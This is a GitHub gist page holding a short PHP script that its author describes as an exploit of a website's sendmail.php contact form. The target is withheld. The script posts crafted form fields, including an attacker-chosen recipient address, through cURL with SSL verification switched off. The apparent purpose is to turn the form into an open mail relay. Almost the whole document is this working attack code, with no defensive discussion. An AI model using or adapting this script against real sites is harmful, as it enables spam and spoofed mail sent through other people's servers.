Skip to content

Instantly share code, notes, and snippets.

@MrSaints
Created September 24, 2013 06:17
Show Gist options
  • Save MrSaints/6680985 to your computer and use it in GitHub Desktop.
Save MrSaints/6680985 to your computer and use it in GitHub Desktop.
Simple exploit to a sendmail.php vulnerability on a web site. The actual URL of the said vulnerability has been removed for security purposes along with any details that may link this gist to its victim.
<?php
define('GIS_EMAIL_URL', 'sendmail.php');
$ch = curl_init(GIS_EMAIL_URL);
$data = array(
'contact_email' => '[email protected]',
'name' => 'Whatever',
'email' => '[email protected]',
'subject' => 'Whatever',
'message' => 'Whatever'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data, '', '&'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$content = curl_exec ($ch);
// Sent
echo ($content);
curl_close ($ch);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment